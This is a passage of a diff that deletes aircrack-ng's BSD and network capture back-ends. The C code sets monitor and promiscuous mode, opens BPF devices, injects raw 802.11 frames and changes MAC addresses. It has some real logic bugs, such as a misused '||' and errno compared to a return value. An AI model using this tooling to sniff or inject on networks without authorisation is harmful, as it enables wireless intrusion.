-nbsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-	unsigned char * wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	if (pn->pn_totlen == 0)
-	{
-		pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf));
-		if (pn->pn_totlen == -1)
-		{
-			pn->pn_totlen = 0;
-			return -1;
-		}
-		pn->pn_next = pn->pn_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(pn, &plen, ri);
-	if (plen > len) plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int nbsd_write(struct wif * wi,
-					  unsigned char * h80211,
-					  int len,
-					  struct tx_info * ti)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti)
-	{
-	}
-
-	rc = write(pn->pn_fd, h80211, len);
-	if (rc == -1) return rc;
-
-	return 0;
-}
-
-static void do_free(struct wif * wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void nbsd_close(struct wif * wi)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-
-	close(pn->pn_fd);
-	close(pn->pn_s);
-	do_free(wi);
-}
-
-static int do_nbsd_open(struct wif * wi, char * iface)
-{
-	int i;
-	char buf[64];
-	int fd = -1;
-	struct ifreq ifr;
-	unsigned int dlt = DLT_IEEE802_11_RADIO;
-	int s;
-	unsigned int flags;
-	struct ifmediareq ifmr;
-	int * mwords;
-	struct priv_nbsd * pn = wi_priv(wi);
-	unsigned int size = sizeof(pn->pn_buf);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
-
-	/* open wifi */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) return -1;
-	pn->pn_s = s;
-
-	/* set iface up and promisc */
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
-
-	flags = ifr.ifr_flags;
-	flags |= IFF_UP | IFF_PROMISC;
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	ifr.ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
-
-	/* monitor mode */
-	memset(&ifmr, 0, sizeof(ifmr));
-	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
-
-	assert(ifmr.ifm_count != 0);
-
-	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
-	if (!mwords) goto close_sock;
-	ifmr.ifm_ulist = mwords;
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-	{
-		free(mwords);
-		goto close_sock;
-	}
-	free(mwords);
-
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
-	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ);
-
-	/* same for ifreq [mac addr] */
-	strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ);
-
-	/* open bpf */
-	for (i = 0; i < 256; i++)
-	{
-		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
-
-		fd = open(buf, O_RDWR);
-		if (fd < 0)
-		{
-			if (errno != EBUSY) return -1;
-			continue;
-		}
-		else
-			break;
-	}
-
-	if (fd < 0) goto close_sock;
-
-	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
-
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-
-	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
-
-	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
-
-	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
-
-	dlt = 1;
-	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int nbsd_fd(struct wif * wi)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-
-	return pn->pn_fd;
-}
-
-static int nbsd_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct ifaddrs *ifa, *p;
-	char * name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl * sdp;
-
-	if (getifaddrs(&ifa) == -1) return -1;
-
-	p = ifa;
-	while (p)
-	{
-		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
-		{
-
-			sdp = (struct sockaddr_dl *) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int nbsd_get_monitor(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int nbsd_get_rate(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int nbsd_set_rate(struct wif * wi, int rate)
-{
-	if (wi || rate)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int nbsd_set_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-	struct ifreq * ifr = &pn->pn_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(pn->pn_s, SIOCSIFADDR, ifr);
-}
-
-static struct wif * nbsd_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_nbsd * pn;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pn));
-	if (!wi) return NULL;
-	wi->wi_read = nbsd_read;
-	wi->wi_write = nbsd_write;
-	wi->wi_set_channel = nbsd_set_channel;
-	wi->wi_get_channel = nbsd_get_channel;
-	wi->wi_close = nbsd_close;
-	wi->wi_fd = nbsd_fd;
-	wi->wi_get_mac = nbsd_get_mac;
-	wi->wi_set_mac = nbsd_set_mac;
-	wi->wi_get_rate = nbsd_get_rate;
-	wi->wi_set_rate = nbsd_set_rate;
-	wi->wi_get_monitor = nbsd_get_monitor;
-
-	/* setup iface */
-	fd = do_nbsd_open(wi, iface);
-	if (fd == -1)
-	{
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pn = wi_priv(wi);
-	pn->pn_fd = fd;
-
-	return wi;
-}
-
-struct wif * wi_open_osdep(char * iface) { return nbsd_open(iface); }
-
-EXPORT int get_battery_state(void)
-{
-#if defined(__FreeBSD__)
-	int value;
-	size_t len;
-
-	len = 1;
-	value = 0;
-	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-	if (value == 0)
-	{
-		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-		value = value * 60;
-	}
-	else
-	{
-		value = 0;
-	}
-
-	return (value);
-#elif defined(_BSD_SOURCE)
-	struct apm_power_info api;
-	int apmfd;
-	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
-	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
-	{
-		close(apmfd);
-		return 0;
-	}
-	close(apmfd);
-	if (api.battery_state == APM_BATT_UNKNOWN
-		|| api.battery_state == APM_BATTERY_ABSENT
-		|| api.battery_state == APM_BATT_CHARGING
-		|| api.ac_state == APM_AC_ON)
-	{
-		return 0;
-	}
-	return ((int) (api.minutes_left)) * 60;
-#else
-	return 0;
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/netbsd_tap.c Deleted

@@ -1,217 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for NetBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_nbsd
-{
-	int tn_fd;
-	int tn_ioctls;
-	struct ifreq tn_ifr;
-	char tn_name[MAX_IFACE_NAME];
-	int tn_destroy;
-};
-
-static int ti_do_open_nbsd(struct tif * ti, char * name)
-{
-	int fd;
-	char * iface = "/dev/tap";
-	struct stat st;
-	struct tip_nbsd * priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq * ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->tn_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1) return -1;
-
-	/* get name */
-	if (fstat(fd, &st) == -1) goto err;
-	snprintf(priv->tn_name,
-			 sizeof(priv->tn_name) - 1,
-			 "%s",
-			 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) goto err;
-	priv->tn_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->tn_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tn_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
-	flags = ifr->ifr_flags;
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_nbsd * priv)
-{
-	ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr);
-}
-
-static void ti_close_nbsd(struct tif * ti)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-
-	if (priv->tn_destroy) ti_destroy(priv);
-
-	close(priv->tn_fd);
-	close(priv->tn_ioctls);
-	ti_do_free(ti);
-}
-
-static char * ti_name_nbsd(struct tif * ti)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-
-	return priv->tn_name;
-}
-
-static int ti_set_mtu_nbsd(struct tif * ti, int mtu)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-
-	priv->tn_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr);
-}
-
-static int ti_set_mac_nbsd(struct tif * ti, unsigned char * mac)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-	struct ifreq * ifr = &priv->tn_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr);
-}
-
-static int ti_set_ip_nbsd(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in * s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_nbsd(struct tif * ti)
-{
-	struct tip_nbsd * priv = ti_priv(ti);
-
-	return priv->tn_fd;
-}
-
-static int ti_read_nbsd(struct tif * ti, void * buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_nbsd(struct tif * ti, void * buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif * ti_open_nbsd(char * iface)
-{
-	struct tif * ti;
-	struct tip_nbsd * priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	ti->ti_name = ti_name_nbsd;
-	ti->ti_set_mtu = ti_set_mtu_nbsd;
-	ti->ti_close = ti_close_nbsd;
-	ti->ti_fd = ti_fd_nbsd;
-	ti->ti_read = ti_read_nbsd;
-	ti->ti_write = ti_write_nbsd;
-	ti->ti_set_mac = ti_set_mac_nbsd;
-	ti->ti_set_ip = ti_set_ip_nbsd;
-
-	/* setup iface */
-	fd = ti_do_open_nbsd(ti, iface);
-	if (fd == -1)
-	{
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tn_fd = fd;
-
-	return ti;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_nbsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/network.c Deleted

@@ -1,533 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for using card via network.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <assert.h>
-#include <sys/select.h>
-#include <errno.h>
-
-#include "osdep.h"
-#include "network.h"
-
-#define QUEUE_MAX 666
-
-struct netqueue
-{
-	unsigned char q_buf[2048];
-	int q_len;
-
-	struct netqueue * q_next;
-	struct netqueue * q_prev;
-};
-
-struct priv_net
-{
-	int pn_s;
-	struct netqueue pn_queue;
-	struct netqueue pn_queue_free;
-	int pn_queue_len;
-};
-
-EXPORT int net_send(int s, int command, void * arg, int len)
-{
-	struct net_hdr * pnh;
-	char * pktbuf;
-	size_t pktlen;
-
-	// Validate command value
-	assert(command >= NET_RC || command <= HIGHEST_NET_COMMAND);
-	if (command < NET_RC || command > HIGHEST_NET_COMMAND)
-	{
-		return -1;
-	}
-
-	pktlen = sizeof(struct net_hdr) + len;
-
-	pktbuf = (char *) calloc(sizeof(char), pktlen);
-	if (pktbuf == NULL)
-	{
-		perror("calloc");
-		goto net_send_error;
-	}
-
-	pnh = (struct net_hdr *) pktbuf;
-	pnh->nh_type = command;
-	pnh->nh_len = htonl(len);
-
-	memcpy(pktbuf + sizeof(struct net_hdr), arg, len);
-
-	for (;;)
-	{
-		ssize_t rc = send(s, pktbuf, pktlen, 0);
-
-		if ((size_t) rc == pktlen) break;
-
-		if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue;
-
-		if (rc == ECONNRESET)
-			printf("Connection reset while sending packet!\n");
-
-		goto net_send_error;
-	}
-
-	free(pktbuf);
-	return 0;
-
-net_send_error:
-	free(pktbuf);
-	return -1;
-}
-
-EXPORT int net_read_exact(int s, void * arg, int len)
-{
-	ssize_t rc;
-	int rlen = 0;
-	char * buf = (char *) arg;
-	while (rlen < len)
-	{
-		rc = recv(s, buf, (len - rlen), 0);
-
-		if (rc < 1)
-		{
-			if (rc == -1 && (errno == EAGAIN || errno == EINTR))
-			{
-				usleep(100);
-				continue;
-			}
-
-			return -1;
-		}
-
-		buf += rc;
-		rlen += rc;
-	}
-
-	return 0;
-}
-
-EXPORT int net_get(int s, void * arg, int * len)
-{
-	struct net_hdr nh;
-	int plen;
-
-	if (net_read_exact(s, &nh, sizeof(nh)) == -1)
-	{
-		return -1;
-	}
-
-	plen = ntohl(nh.nh_len);
-	assert(plen <= *len && plen >= 0);
-
-	*len = plen;
-	if ((*len) && (net_read_exact(s, arg, *len) == -1))
-	{
-		return -1;
-	}
-
-	return nh.nh_type;
-}
-
-static void queue_del(struct netqueue * q)
-{
-	q->q_prev->q_next = q->q_next;
-	q->q_next->q_prev = q->q_prev;
-}
-
-static void queue_add(struct netqueue * head, struct netqueue * q)
-{
-	struct netqueue * pos = head->q_prev;
-
-	q->q_prev = pos;
-	q->q_next = pos->q_next;
-	q->q_next->q_prev = q;
-	pos->q_next = q;
-}
-
-#if 0
-static int queue_len(struct netqueue *head)
-{
-	struct netqueue *q = head->q_next;
-	int i = 0;
-
-	while (q != head) {
-		i++;
-		q = q->q_next;
-	}
-
-	return i;
-}
-#endif
-
-static struct netqueue * queue_get_slot(struct priv_net * pn)
-{
-	struct netqueue * q = pn->pn_queue_free.q_next;
-
-	if (q != &pn->pn_queue_free)
-	{
-		queue_del(q);
-		return q;
-	}
-
-	if (pn->pn_queue_len++ > QUEUE_MAX) return NULL;
-
-	return malloc(sizeof(*q));
-}
-
-static void net_enque(struct priv_net * pn, void * buf, int len)
-{
-	struct netqueue * q;
-
-	q = queue_get_slot(pn);
-	if (!q) return;
-
-	q->q_len = len;
-	assert((int) sizeof(q->q_buf) >= q->q_len);
-	memcpy(q->q_buf, buf, q->q_len);
-	queue_add(&pn->pn_queue, q);
-}
-
-static int net_get_nopacket(struct priv_net * pn, void * arg, int * len)
-{
-	unsigned char buf[2048];
-	int l = sizeof(buf);
-	int c;
-
-	while (1)
-	{
-		l = sizeof(buf);
-		c = net_get(pn->pn_s, buf, &l);
-		if (c < 0) return c;
-
-		if (c != NET_PACKET && c > 0) break;
-
-		if (c > 0) net_enque(pn, buf, l);
-	}
-
-	assert(l <= *len);
-	memcpy(arg, buf, l);
-	*len = l;
-
-	return c;
-}
-
-static int net_cmd(struct priv_net * pn, int command, void * arg, int alen)
-{
-	uint32_t rc;
-	int len;
-	int cmd;
-
-	if (net_send(pn->pn_s, command, arg, alen) == -1)
-	{
-		return -1;
-	}
-
-	len = sizeof(rc);
-	cmd = net_get_nopacket(pn, &rc, &len);
-	if (cmd == -1)
-	{
-		return -1;
-	}
-	assert(cmd == NET_RC);
-	assert(len == sizeof(rc));
-
-	return ntohl(rc);
-}
-
-static int queue_get(struct priv_net * pn, void * buf, int len)
-{
-	struct netqueue * head = &pn->pn_queue;
-	struct netqueue * q = head->q_next;
-
-	if (q == head) return 0;
-
-	assert(q->q_len <= len);
-	memcpy(buf, q->q_buf, q->q_len);
-
-	queue_del(q);
-	queue_add(&pn->pn_queue_free, q);
-
-	return q->q_len;
-}
-
-static int
-net_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	struct priv_net * pn = wi_priv(wi);
-	uint32_t buf[512]; // 512 * 4 = 2048
-	unsigned char * bufc = (unsigned char *) buf;
-	int cmd;
-	int sz = sizeof(*ri);
-	int l;
-	int ret;
-
-	/* try queue */
-	l = queue_get(pn, buf, sizeof(buf));
-	if (!l)
-	{
-		/* try reading form net */
-		l = sizeof(buf);
-		cmd = net_get(pn->pn_s, buf, &l);
-
-		if (cmd == -1) return -1;
-		if (cmd == NET_RC)
-		{
-			ret = ntohl((buf[0]));
-			return ret;
-		}
-		assert(cmd == NET_PACKET);
-	}
-
-	/* XXX */
-	if (ri)
-	{
-		// re-assemble 64-bit integer
-		ri->ri_mactime = __be64_to_cpu(((uint64_t) buf[0] << 32 || buf[1]));
-		ri->ri_power = __be32_to_cpu(buf[2]);
-		ri->ri_noise = __be32_to_cpu(buf[3]);
-		ri->ri_channel = __be32_to_cpu(buf[4]);
-		ri->ri_freq = __be32_to_cpu(buf[5]);
-		ri->ri_rate = __be32_to_cpu(buf[6]);
-		ri->ri_antenna = __be32_to_cpu(buf[7]);
-	}
-	l -= sz;
-	assert(l > 0);
-	if (l > len) l = len;
-	memcpy(h80211, &bufc[sz], l);
-
-	return l;
-}
-
-static int net_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_net * pn = wi_priv(wi);
-	uint32_t buf[2]; // only need 6 bytes, this provides 8
-	int cmd;
-	int sz = 6;
-
-	if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1;
-
-	cmd = net_get_nopacket(pn, buf, &sz);
-	if (cmd == -1) return -1;
-	if (cmd == NET_RC) return ntohl(buf[0]);
-	assert(cmd == NET_MAC);
-	assert(sz == 6);
-
-	memcpy(mac, buf, 6);
-
-	return 0;
-}
-
-static int
-net_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti)
-{
-	struct priv_net * pn = wi_priv(wi);
-	int sz = sizeof(*ti);
-	unsigned char buf[2048];
-	unsigned char * ptr = buf;
-
-	/* XXX */
-	if (ti)
-		memcpy(ptr, ti, sz);
-	else
-		memset(ptr, 0, sizeof(*ti));
-
-	ptr += sz;
-	memcpy(ptr, h80211, len);
-	sz += len;
-
-	return net_cmd(pn, NET_WRITE, buf, sz);
-}
-
-static int net_set_channel(struct wif * wi, int chan)
-{
-	uint32_t c = htonl(chan);
-
-	return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c));
-}
-
-static int net_get_channel(struct wif * wi)
-{
-	struct priv_net * pn = wi_priv(wi);
-
-	return net_cmd(pn, NET_GET_CHAN, NULL, 0);
-}
-
-static int net_set_rate(struct wif * wi, int rate)
-{
-	uint32_t c = htonl(rate);
-
-	return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c));
-}
-
-static int net_get_rate(struct wif * wi)
-{
-	struct priv_net * pn = wi_priv(wi);
-
-	return net_cmd(pn, NET_GET_RATE, NULL, 0);
-}
-
-static int net_get_monitor(struct wif * wi)
-{
-	return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0);
-}
-
-static void do_net_free(struct wif * wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void net_close(struct wif * wi)
-{
-	struct priv_net * pn = wi_priv(wi);
-
-	close(pn->pn_s);
-	do_net_free(wi);
-}
-
-static int get_ip_port(char * iface, char * ip, const int ipsize)
-{
-	char * host;
-	char * ptr;
-	int port = -1;
-	struct in_addr addr;
-
-	host = strdup(iface);
-	if (!host) return -1;
-
-	ptr = strchr(host, ':');
-	if (!ptr) goto out;
-
-	*ptr++ = 0;
-
-	if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */
-
-	assert(strlen(host) <= 15);
-	strncpy(ip, host, ipsize);
-	port = atoi(ptr);
-
-out:
-	free(host);
-	return port;
-}
-
-static int handshake(int s)
-{
-	if (s)
-	{
-	} /* XXX unused */
-	/* XXX do a handshake */
-	return 0;
-}
-
-static int do_net_open(char * iface)
-{
-	int s, port;
-	char ip[16];
-	struct sockaddr_in s_in;
-
-	port = get_ip_port(iface, ip, sizeof(ip) - 1);
-	if (port == -1) return -1;
-
-	memset(&s_in, 0, sizeof(struct sockaddr_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	if (!inet_aton(ip, &s_in.sin_addr)) return -1;
-
-	if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-		return -1;
-
-	printf("Connecting to %s port %d...\n", ip, port);
-
-	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-	{
-		close(s);
-
-		printf("Failed to connect\n");
-
-		return -1;
-	}
-
-	if (handshake(s) == -1)
-	{
-		close(s);
-
-		printf("Failed to connect - handshake failed\n");
-
-		return -1;
-	}
-
-	printf("Connection successful\n");
-
-	return s;
-}
-
-static int net_fd(struct wif * wi)
-{
-	struct priv_net * pn = wi_priv(wi);
-
-	return pn->pn_s;
-}
-
-EXPORT struct wif * net_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_net * pn;
-	int s;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pn));
-	if (!wi) return NULL;
-	wi->wi_read = net_read;
-	wi->wi_write = net_write;
-	wi->wi_set_channel = net_set_channel;
-	wi->wi_get_channel = net_get_channel;
-	wi->wi_set_rate = net_set_rate;
-	wi->wi_get_rate = net_get_rate;
-	wi->wi_close = net_close;
-	wi->wi_fd = net_fd;
-	wi->wi_get_mac = net_get_mac;
-	wi->wi_get_monitor = net_get_monitor;
-
-	/* setup iface */
-	s = do_net_open(iface);
-	if (s == -1)
-	{
-		do_net_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pn = wi_priv(wi);
-	pn->pn_s = s;
-	pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue;
-	pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free;
-
-	return wi;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/network.h Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/openbsd.c Deleted

@@ -1,572 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for OpenBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-#include <sys/types.h>
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/param.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#include <sys/queue.h>
-#include <net/if_var.h>
-#include <net80211/ieee80211.h>
-#include <net80211/ieee80211_crypto.h>
-#include <frame.h>
-#include <sys/timeout.h>
-#define _KERNEL
-#include <machine/intr.h>
-#undef _KERNEL
-#include <net80211/ieee80211_node.h>
-#include <net80211/ieee80211_ioctl.h>
-#include <net80211/ieee80211_radiotap.h>
-#include <net80211/ieee80211_proto.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-#ifndef IEEE80211_RADIOTAP_F_FCS
-#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
-#endif
-
-#ifndef IEEE80211_IOC_CHANNEL
-#define IEEE80211_IOC_CHANNEL 0
-#endif
-
-#ifndef le32toh
-#define le32toh(x) htole32(x)
-#endif
-
-struct priv_obsd
-{
-	/* iface */
-	int po_fd;
-
-	/* rx */
-	int po_nocrc;
-
-	/* tx */
-	unsigned char po_buf[4096];
-	unsigned char * po_next;
-	int po_totlen;
-
-	/* setchan */
-	int po_s;
-	struct ifreq po_ifr;
-	struct ieee80211chanreq po_ireq;
-	int po_chan;
-};
-
-static void get_radiotap_info(struct priv_obsd * po,
-							  struct ieee80211_radiotap_header * rth,
-							  int * plen,
-							  struct rx_info * ri)
-{
-	uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char * body = (unsigned char *) (rth + 1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri) memset(ri, 0, sizeof(*ri));
-
-	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
-	{
-		if (!(present & (1 << i))) continue;
-
-		switch (i)
-		{
-			case IEEE80211_RADIOTAP_TSFT:
-				body += sizeof(uint64_t);
-				break;
-
-			case IEEE80211_RADIOTAP_FLAGS:
-				rflags = *((uint8_t *) body);
-			/* fall through */
-			case IEEE80211_RADIOTAP_RATE:
-				body += sizeof(uint8_t);
-				break;
-
-			case IEEE80211_RADIOTAP_CHANNEL:
-				if (ri)
-				{
-					ri->ri_channel = 1;
-				}
-				body += sizeof(uint16_t) * 2;
-				break;
-
